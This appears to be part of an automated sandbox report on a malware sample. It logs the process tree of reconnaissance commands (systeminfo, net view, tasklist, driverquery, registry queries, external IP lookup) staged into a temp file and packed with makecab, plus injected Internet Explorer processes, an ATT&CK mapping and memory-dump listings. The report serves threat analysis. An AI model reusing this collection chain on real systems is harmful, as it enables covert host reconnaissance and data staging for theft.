    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:1516
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\67B4.bi1"
  2⤵
  PID:852
- C:\Windows\system32\cmd.exe
  cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\5708.bin1"
  2⤵
  PID:1796
- - C:\Windows\system32\systeminfo.exe
    systeminfo.exe
    3⤵
    - Gathers system information
    PID:592
- C:\Windows\syswow64\cmd.exe
  "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
  2⤵
  PID:1052
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\5708.bin1"
  2⤵
  PID:1660
- C:\Windows\system32\cmd.exe
  cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\5708.bin1"
  2⤵
  PID:1208
- - C:\Windows\system32\net.exe
    net view
    3⤵
    - Discovers systems in the same network
    PID:1644
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\5708.bin1"
  2⤵
  PID:1564
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\5708.bin1"
  2⤵
  PID:980
- - C:\Windows\system32\nslookup.exe
    nslookup 127.0.0.1
    3⤵
    PID:1640
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\5708.bin1"
  2⤵
  PID:1820
- C:\Windows\system32\cmd.exe
  cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\5708.bin1"
  2⤵
  PID:2016
- - C:\Windows\system32\tasklist.exe
    tasklist.exe /SVC
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1844
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\5708.bin1"
  2⤵
  PID:1408
- C:\Windows\system32\cmd.exe
  cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\5708.bin1"
  2⤵
  PID:592
- - C:\Windows\system32\driverquery.exe
    driverquery.exe
    3⤵
    PID:1784
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\5708.bin1"
  2⤵
  PID:848
- C:\Windows\system32\cmd.exe
  cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\5708.bin1"
  2⤵
  PID:1048
- - C:\Windows\system32\reg.exe
    reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
    3⤵
    PID:1508
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\5708.bin1"
  2⤵
  PID:1780
- C:\Windows\system32\cmd.exe
  cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\5708.bin1 > C:\Users\Admin\AppData\Local\Temp\5708.bin & del C:\Users\Admin\AppData\Local\Temp\5708.bin1"
  2⤵
  PID:736
- C:\Windows\system32\makecab.exe
  makecab.exe /F "C:\Users\Admin\AppData\Local\Temp\91A2.bin"
  2⤵
  PID:1248

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1304
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1304 CREDAT:275457 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:1800

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1016
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1016 CREDAT:275457 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:1504

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1312
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1312 CREDAT:275457 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:1012
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1312 CREDAT:1848323 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:1720

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Process Discovery

T1057

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/612-44-0x0000000001C70000-0x0000000001D0C000-memory.dmp

Filesize
624KB

Download
memory/1012-12-0x0000000005B60000-0x0000000005B83000-memory.dmp

Filesize
140KB

Download
memory/1236-40-0x0000000004970000-0x0000000004A0C000-memory.dmp

Filesize
624KB

Download
memory/1236-54-0x0000000007CD0000-0x0000000007D61000-memory.dmp

Filesize
580KB

Download
memory/1476-3-0x000007FEF7900000-0x000007FEF7B7A000-memory.dmp

Filesize
2.5MB

Download
memory/1496-17-0x0000000002880000-0x0000000002881000-memory.dmp

Filesize
4KB

Download
memory/1496-15-0x0000000002740000-0x0000000002741000-memory.dmp

Filesize
4KB

Download
memory/1496-18-0x0000000002460000-0x0000000002461000-memory.dmp

Filesize
4KB

Download
memory/1496-19-0x000000001ABF0000-0x000000001ABF1000-memory.dmp

Filesize
4KB

Download
memory/1496-20-0x000000001C350000-0x000000001C351000-memory.dmp

Filesize
4KB

Download
memory/1496-36-0x00000000028B0000-0x00000000028B1000-memory.dmp

Filesize
4KB

Download
memory/1496-16-0x000000001AD30000-0x000000001AD31000-memory.dmp

Filesize
4KB

Download
memory/1496-38-0x000000001C420000-0x000000001C4BC000-memory.dmp

Filesize
624KB

Download
memory/1496-28-0x0000000002610000-0x0000000002611000-memory.dmp

Filesize
4KB

Download
memory/1496-14-0x000007FEF33B0000-0x000007FEF3D9C000-memory.dmp

Filesize
9.9MB

Download
memory/1784-43-0x0000000000140000-0x0000000000150000-memory.dmp

Filesize
64KB

Download
memory/1800-5-0x0000000005B60000-0x0000000005B83000-memory.dmp

Filesize
140KB

Download